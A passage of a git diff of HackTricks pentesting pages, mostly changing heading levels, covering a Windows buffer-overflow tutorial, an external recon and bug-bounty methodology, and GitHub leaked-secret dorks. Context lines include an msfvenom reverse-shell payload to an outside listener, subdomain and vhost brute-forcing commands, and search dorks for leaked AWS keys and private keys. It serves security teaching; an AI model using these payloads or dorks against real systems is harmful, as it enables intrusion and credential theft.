OK` -## **Attach the proces to Immunity Debugger:** +# **Attach the proces to Immunity Debugger:** **File --> Attach** @@ -67,13 +65,13 @@ Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` **And press START button** -## **Send the exploit and check if EIP is affected:** +# **Send the exploit and check if EIP is affected:** ![](<../.gitbook/assets/image (25).png>) Every time you break the service you should restart it as is indicated in the beginnig of this page. -## Create a pattern to modify the EIP +# Create a pattern to modify the EIP The pattern should be as big as the buffer you used to broke the service previously. @@ -113,7 +111,7 @@ With this buffer the EIP crashed should point to 42424242 ("BBBB") Looks like it is working. -## Check for Shellcode space inside the stack +# Check for Shellcode space inside the stack 600B should be enough for any powerfull shellcode. @@ -133,7 +131,7 @@ You can see that when the vulnerability is reached, the EBP is pointing to the s In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. -## Check for bad chars +# Check for bad chars Change again the buffer: @@ -173,7 +171,7 @@ In this case you can see that **the char 0x0D is avoided**: ![](<../.gitbook/assets/image (34).png>) -## Find a JMP ESP as a return address +# Find a JMP ESP as a return address Using: @@ -204,7 +202,7 @@ Now, inside this memory you should find some JMP ESP bytes, to do that execute: **In this case, for example: **_**0x5f4a358f**_ -## Create shellcode +# Create shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' @@ -268,7 +266,7 @@ except: There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode {% endhint %} -## Improving the shellcode +# Improving the shellcode Add this parameters: diff --git a/external-recon-methodology.md b/external-recon-methodology.md index 5d396c6b..ce69bece 100644 --- a/external-recon-methodology.md +++ b/external-recon-methodology.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# External Recon Methodology - {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** @@ -27,7 +25,7 @@ Do you use **Hacktricks every day**? Did you find the book **very** **useful**? If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. -## Assets discoveries +# Assets discoveries > So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. @@ -38,7 +36,7 @@ The goal of this phase is to obtain all the **companies owned by the main compan 3. Use reverse whois lookups to search for other entries \(organisation names, domains...\) related to the first one \(this can be done recursively\) 4. Use other techniques like shodan `org`and `ssl`filters to search for other assets \(the `ssl` trick can be done recursively\). -### Acquisitions +## Acquisitions First of all, we need to know which **other companies are owned by the main company**. One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com/), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one. @@ -46,7 +44,7 @@ Other option is to visit the **Wikipedia** page of the main company and search f > Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. -### ASNs +## ASNs An autonomous system number \(**ASN**\) is a **unique number** assigned to an **autonomous system** \(AS\) by the **Internet Assigned Numbers Authority \(IANA\)**. An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. @@ -64,13 +62,13 @@ amass intel -asn 8911,50313,394161 You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com/) \(it has free API\). You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com/). -### Looking for vulnerabilities +## Looking for vulnerabilities At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** \(Nessus, OpenVAS\) over all the hosts. Also, you could launch some [**port scans**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible service running**. Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce** services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -## Domains +# Domains > We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. @@ -78,7 +76,7 @@ _Please, note that in the following purposed techniques you can also find subdom First of all you should look for the **main domain**\(s\) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. -### Reverse DNS +## Reverse DNS As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server \(1.1.1.1, 8.8.8.8\) @@ -92,7 +90,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns For this to work, the administrator has to enable manually the PTR. You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com/) -### Reverse Whois \(loop\) +## Reverse Whois \(loop\) Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** \(for example other whois registries where the same email appears\). You can use online tools like: @@ -110,7 +108,7 @@ You can also perform some automatic reverse whois discovery with [amass](https:/ **Note that you can use this technique to discover more domain names every time you find a new domain.** -### Trackers +## Trackers If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**. For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. @@ -122,7 +120,7 @@ There are some pages that let you search by these trackers and more: * [**Publicwww**](https://publicwww.com/) * [**SpyOnWeb**](http://spyonweb.com/) -### **Favicon** +## **Favicon** Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: @@ -135,38 +133,38 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. -### Other ways +## Other ways **Note that you can use this technique to discover more domain names every time you find a new domain.** -#### Shodan +### Shodan As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` -#### Google +### Google Go to the main page an find something that identifies the company, like the copyright \("Tesla © 2020"\). Search for that in google or other browsers to find possible new domains/pages. -#### Assetfinder +### Assetfinder [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. -### Looking for vulnerabilities +## Looking for vulnerabilities Check for some [domain takeover](pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it \(if cheap enough\) and let know the company. If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**. _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -## Subdomains +# Subdomains > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. It's time to find all the possible subdomains of each found domain. -### DNS +## DNS Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** \(If vulnerable, you should report it\). @@ -174,7 +172,7 @@ Let's try to get **subdomains** from the **DNS** records. We should also try for dnsrecon -a -d tesla.com ``` -### OSINT +## OSINT The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html) @@ -192,13 +190,13 @@ assetfinder --subs-only Another possibly interesting tool is [**gau**](https://github.com/lc/gau)**.** It fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. -#### [chaos.projectdiscovery.io](https://chaos.projectdiscovery.io/#/) +### [chaos.projectdiscovery.io](https://chaos.projectdiscovery.io/#/) This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) You could also find subdomains scrapping the web pages and parsing them \(including JS files\) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper). -#### RapidDNS +### RapidDNS Quickly find subdomains using [RapidDNS](https://rapiddns.io/) API \(from [link](https://twitter.com/Verry__D/status/1282293265597779968)\): @@ -211,14 +209,14 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ } ``` -#### Shodan +### Shodan You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following: * http.html:”dev-int.bigcompanycdn.com” * http.html:”[https://dev-int-bigcompanycdn.com”](https://dev-int-bigcompanycdn.com”) -### DNS Brute force +## DNS Brute force Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors \(you should always check for **false positives**\) and the second one **is more reliable** \(always use gobuster\). @@ -247,13 +245,13 @@ puredns bruteforce all.txt domain.com Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning \(DNS poisoning for example\) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. -### VHosts +## VHosts -#### IP VHosts +### IP VHosts You can find some VHosts in IPs using [HostHunter](https://github.com/SpiderLabs/HostHunter) -#### Brute Force +### Brute Force If you suspect that some subdomain can be hidden in a web server you could try to brute force it: @@ -270,7 +268,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com With this technique you may even be able to access internal/hidden endpoints. {% endhint %} -### CORS Brute Force +## CORS Brute Force Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behavior to **discover** new **subdomains**. @@ -278,20 +276,20 @@ Sometimes you will find pages that only return the header _**Access-Control-Allo ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### DNS Brute Force v2 +## DNS Brute Force v2 Once you have finished looking for subdomains you can use [**dnsgen** ](https://github.com/ProjectAnte/dnsgen)and [**altdns**](https://github.com/infosec-au/altdns) to generate possible permutations of the discovered subdomains and use again **massdns** and **gobuster** to search new domains. -### Buckets Brute Force +## Buckets Brute Force While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](pentesting/pentesting-web/buckets/)**.** Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](pentesting/pentesting-web/buckets/). -### Monitorization +## Monitorization You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. -### Looking for vulnerabilities +## Looking for vulnerabilities Check for possible [**subdomain takeovers**](pentesting-web/domain-subdomain-takeover.md#subdomain-takeover). If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](pentesting/pentesting-web/buckets/). @@ -299,7 +297,7 @@ If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**. _Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -## Web servers hunting +# Web servers hunting > We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. @@ -315,13 +313,13 @@ cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 an cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` -### Screenshots +## Screenshots Now that you have discovered **all the web servers** running in the scope \(in **IPs** of the company and all the **domains** and **subdomains**\) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just **taking a look** to the **main page** of all of them you could find **weird** endpoints more **prone** to be **vulnerable**. To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), \[**Aquatone**\]\(**[https://github.com/michenriksen/aquatone](https://github.com/michenriksen/aquatone)**\)**, **\[**shutter**\]\(**[https://shutter-project.org/downloads/](https://shutter-project.org/downloads/)**\) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -## Recapitulation 1 +# Recapitulation 1 > Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done \(will see more tricks later\). > Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that. @@ -336,11 +334,11 @@ So you have already: Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** \(you can see a [guide for that here](pentesting/pentesting-network/)\), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open \(this book already contains tons of information about possible vulnerabilities on a lot of common services\). **But, don't forget that if the scope allows it, you should give it a try.** -## **Bug hunting OSINT related information** +# **Bug hunting OSINT related information** Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. -### Api keys leaks in github +## Api keys leaks in github * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) * [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) @@ -354,7 +352,7 @@ Now that we have built the list of assets of our scope it's time to search for s **Dorks**: _AWS\_SECRET\_ACCESS\_KEY, API KEY, API SECRET, API TOKEN… ROOT PASSWORD, ADMIN PASSWORD, COMPANYNAME SECRET, COMPANYNAME ROOT, GCP SECRET, AWS SECRET, “username password” extension:sql, “private” extension:pgp..._ -#### More Github Dorks +### More Github Dorks * extension:pem private * extension:ppk private @@ -369,11 +367,11 @@ Now that we have built the list of assets of our scope it's time to search for s You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth_key) -## [**Pentesting Web Methodology**](pentesting/pentesting-web/) +# [**Pentesting Web Methodology**](pentesting/pentesting-web/) Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](pentesting/pentesting-web/). -## Recapitulation 2 +# Recapitulation 2 > Congratulations! The testing has finished! I hope you have find some vulnerabilities. diff --git a/external-recon-methodology/README.md b/external-recon-methodology/README.md index bb52223b..b3e0b65e 100644 --- a/external-recon-methodology/README.md +++ b/external-recon-methodology/README.md @@ -24,7 +24,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} -## Assets discoveries +# Assets discoveries > So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. @@ -35,7 +35,7 @@ The goal of this phase is to obtain all the **companies owned by the main compan 3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) 4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). -### **Acquisitions** +## **Acquisitions** First of all, we need to know which **other companies are owned by the main company**.\ One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ @@ -43,7 +43,7 @@ Other option is to visit the **Wikipedia** page of the main company and search f > Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. -### **ASNs** +## **ASNs** An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. @@ -61,13 +61,13 @@ amass intel -asn 8911,50313,394161 You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). -### **Looking for vulnerabilities** +## **Looking for vulnerabilities** At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ Also, you could launch some [**port scans**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ **Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -## Domains +# Domains > We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. @@ -75,7 +75,7 @@ _Please, note that in the following purposed techniques you can also find subdom First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. -### **Reverse DNS** +## **Reverse DNS** As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) @@ -89,7 +89,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns For this to work, the administrator has to enable manually the PTR.\ You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) -### **Reverse Whois (loop)** +## **Reverse Whois (loop)** Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ You can use online tools like: @@ -107,7 +107,7 @@ You can also perform some automatic reverse whois discovery with [amass](https:/ **Note that you can use this technique to discover more domain names every time you find a new domain.** -### **Trackers** +## **Trackers** If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. @@ -119,7 +119,7 @@ There are some pages that let you search by these trackers and more: * [**Publicwww**](https://publicwww.com) * [**SpyOnWeb**](http://spyonweb.com) -### **Favicon** +## **Favicon** Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: @@ -138,7 +138,7 @@ Moreover, you can also search technologies using the favicon hash as explained i hodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -### **Other ways** +## **Other ways** **Note that you can use this technique to discover more domain names every time you find a new domain.** @@ -156,20 +156,20 @@ Go to the main page an find something that identifies the company, like the copy [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. -### **Looking for vulnerabilities** +## **Looking for vulnerabilities** Check for some [domain takeover](../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -## Subdomains +# Subdomains > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. It's time to find all the possible subdomains of each found domain. -### **DNS** +## **DNS** Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). @@ -177,7 +177,7 @@ Let's try to get **subdomains** from the **DNS** records. We should also try for dnsrecon -a -d tesla.com ``` -### **OSINT** +## **OSINT** The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html) @@ -202,7 +202,7 @@ This project offers for **free all the subdomains related to bug-bounty programs You could also find subdomains scrapping the web pages and parsing them (including JS files) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper). -### **RapidDNS** +## **RapidDNS** Quickly find subdomains using [RapidDNS](https://rapiddns.io) API (from [link](https://twitter.com/Verry\_\_D/status/1282293265597779968)): @@ -215,7 +215,7 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ } ``` -### **Shodan** +## **Shodan** You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following: @@ -226,7 +226,7 @@ It is possible to use Shodan from the official CLI to quickly analyze all IPs in * https://book.hacktricks.xyz/external-recon-methodology -### **DNS Brute force** +## **DNS Brute force** Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.\ The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors (you should always check for **false positives**) and the second one **is more reliable** (always use gobuster). @@ -255,7 +255,7 @@ puredns bruteforce all.txt domain.com Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning (DNS poisoning for example) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. -### **VHosts / Virtual Hosts** +## **VHosts / Virtual Hosts** You can find some VHosts in IPs using [HostHunter](https://github.com/SpiderLabs/HostHunter) @@ -279,7 +279,7 @@ VHostScan -t example.com With this technique you may even be able to access internal/hidden endpoints. {% endhint %} -### **CORS Brute Force** +## **CORS Brute Force** Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behavior to **discover** new **subdomains**. @@ -287,20 +287,20 @@ Sometimes you will find pages that only return the header _**Access-Control-Allo ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -### **DNS Brute Force v2** +## **DNS Brute Force v2** Once you have finished looking for subdomains you can use [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**,** [**altdns**](https://github.com/infosec-au/altdns) and [**gotator**](https://github.com/Josue87/gotator) to generate possible permutations of the discovered subdomains and use again **massdns** and **gobuster** to search new domains. -### **Buckets Brute Force** +## **Buckets Brute Force** While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../pentesting/pentesting-web/buckets/)**.**\ Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../pentesting/pentesting-web/buckets/). -### **Monitorization** +## **Monitorization** You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. -### **Looking for vulnerabilities** +## **Looking for vulnerabilities** Check for possible [**subdomain takeovers**](../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../pentesting/pentesting-web/buckets/). @@ -308,7 +308,7 @@ If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -## Web servers hunting +# Web servers hunting > We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. @@ -324,17 +324,17 @@ cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 an cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` -### **Screenshots** +## **Screenshots** Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), \[shutter]\([**https://shutter-project.org/downloads/**](https://shutter-project.org/downloads/)) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -### Cloud Assets +## Cloud Assets Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.** -## Recapitulation 1 +# Recapitulation 1 > Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done (will see more tricks later).\ > Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that. @@ -349,7 +349,7 @@ So you have already: Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** (you can see a [guide for that here](../pentesting/pentesting-network/)), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open (this book already contains tons of information about possible vulnerabilities on a lot of common services). **But, don't forget that if the scope allows it, you should give it a try.** -### Github leaked secrets +## Github leaked secrets {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -357,11 +357,11 @@ Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not goin You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth\_key) -### [**Pentesting Web Methodology**](../pentesting/pentesting-web/) +## [**Pentesting Web Methodology**](../pentesting/pentesting-web/) Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../pentesting/pentesting-web/). -## Recapitulation 2 +# Recapitulation 2 > Congratulations! The testing has finished! I hope you have find some vulnerabilities. @@ -370,7 +370,7 @@ As you can see there is a lot of different vulnerabilities to search for. **If you have find any vulnerability thanks to this book, please reference the book in your write-up.** -### **Automatic Tools** +## **Automatic Tools** There are several tools out there that will perform part of the proposed actions against a given scope. @@ -379,7 +379,7 @@ There are several tools out there that will perform part of the proposed actions * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated -## **References** +# **References** * **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** diff --git a/external-recon-methodology/github-leaked-secrets.md b/external-recon-methodology/github-leaked-secrets.md index f51514f7..3f418559 100644 --- a/external-recon-methodology/github-leaked-secrets.md +++ b/external-recon-methodology/github-leaked-secrets.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Github Leaked Secrets - Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. -### Api keys leaks in github +## Api keys leaks in github * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) * [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) @@ -33,7 +31,7 @@ Now that we have built the list of assets of our scope it's time to search for s * [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) * [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) -### **Dorks** +## **Dorks** ```bash ".mlab.com password" diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index b9a3c217..ff71273b 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic Forensic Methodology - {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the 